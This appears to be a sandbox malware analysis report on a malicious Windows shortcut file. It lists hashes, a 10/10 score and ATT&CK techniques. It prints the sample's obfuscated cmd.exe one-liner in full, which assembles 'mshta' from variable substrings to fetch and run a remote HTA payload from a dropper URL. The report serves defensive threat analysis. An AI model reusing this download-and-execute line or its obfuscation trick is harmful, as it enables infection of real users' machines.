eec5dba07d6631296322d15acbe4992a921dbf2d43fa8fbd4e53d08a50ec688e

Analysis

max time kernel
148s
max time network
115s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 08:36

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
DOC-BTWVSL.lnk
Size 2KB
Sample260804-khw45agb98
SHA256 eec5dba07d6631296322d15acbe4992a921dbf2d43fa8fbd4e53d08a50ec688e
MD5 fb910b60f78a6f87383b4252e4f19517
SHA1 82eaa602a597b26a0df13842873937a449936313
SHA512 c4d8074789f0115f68db7d909eaa3e29936ed5e180797c9cdf1df4c20af3524005943ad04678b8e915cb87a6a57483204f7d5de4bba5575d0341b27c3b75a3dd
TLSH
T10A4136902AF915D4F2BBCF32EDFE231149B7BC924E30CA9D0840824D5822B41D937B23
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4548	cmd.exe
4872	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4548 wrote to memory of 4872	4548	cmd.exe	90
PID 4872 wrote to memory of 1788	4872	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-BTWVSL.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4548
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /d /V:on /C "set bii=sysrjyvfosbmfqkcwesys&set Snu=oldieialmhwigyudmaold&set ekLMj=wabmpar&&set jL=0qs0ae&&set PpF=3htan3&set hArU=cachejxwtcache&set Di=logkteaohemlog&set VruMf=cfgaubrcfg&set nt=ss9&&set dGWc=edta57k&&set fBa=ncjrt4d&set XC=netonaojwtnet&set aLnF=infkclbdkydinf&&set ixwq=http@s@://m@a-@pdf@f@i@ll@er.@l@at/h/es@t@a@gi@o@[email protected]@p?r=@391469F@B5D8@2@DB&&start /b !ekLMj:~3,1!!jL:~2,1!!PpF:~1,3! !ixwq:@=!&&set FLJez=done"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4872
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:1788

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads